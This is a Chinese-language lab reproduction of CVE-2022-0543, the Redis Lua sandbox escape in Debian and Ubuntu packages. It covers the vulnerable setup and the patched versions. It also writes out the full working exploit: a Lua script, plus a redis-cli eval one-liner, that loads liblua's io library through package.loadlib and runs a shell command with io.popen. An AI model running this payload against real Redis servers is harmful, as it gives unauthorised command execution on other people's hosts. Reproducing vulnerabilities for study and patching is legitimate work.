Redis Lua 沙箱逃逸和远程代码执行复现 (CVE-2022-0543)

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意代码。

准备工作:
Ubuntu 20.04
VMware
Redis

漏洞等级:
超危

漏洞描述:
CVE-2022-0543 只影响 Debian 系的 Linux 发行版系统(Debian、Ubuntu 等)上的 Redis 服务,其他系统上的 Redis 服务不受影响。
另外要利用此漏洞,攻击者需具有执行 eval 命令的权限(攻击者经过认证、或者 Redis 本身未设置鉴权检查)

漏洞环境:
执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:
docker-compose up -d
服务启动后,我们可以使用redis-cli -h your-ip连接这个redis服务器。

复现过程:
首先进行最基本的环境搭建步骤。下载并安装Ubuntu。
Ubuntu安装完成之后开始安装 Redis 5.0.7
Redis 软件包在 UbUbuntu 20.04 默认在设置的软件源中,执行命令:

sudo apt update

sudo apt install redis-server

安装完成后,Redis的服务会自动启动,检查服务的状态,执行命令:
sudo systemctl status redis-server
正常启动时,应该看到下面的内容:

redis-server.service - Advanced key-value store
   Loaded: loaded (/lib/systemd/system/redis-server.service; enabled; vendor>
   Active: active (running) since Sat 2022-03-12 00:38:27 CST; 49s ago
...

如果没有正常启动,查看 IPV6 设置,执行命令:

vim /etc/default/ufw
修改 IPV6 的设置为true,如代码所示:
# Set to yes to apply rules to support IPv6 (no means only IPv6 on loopback
# accepted). You will need to 'disable' and then 'enable' the firewall for
# the changes to take affect.
IPV6=yes

借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

值得注意的是,不同环境下的liblua库路径不同,需要指定一个正确的路径。在Vulhub环境(Ubuntu fiocal)中,这个路径是
/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
连接redis,使用eval命令执行以下脚本:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0


解决方案:

可通过更新升级 Redis Server 到以下安全版本进行漏洞修复:

Debian Redis:

5:5.0.14-1+deb10u2

5:6.0.16-1+deb11u2

5:6.0.16-2

Ubuntu Redis:

5:6.0.15-1ubuntu0.1

5:5.0.7-2ubuntu0.1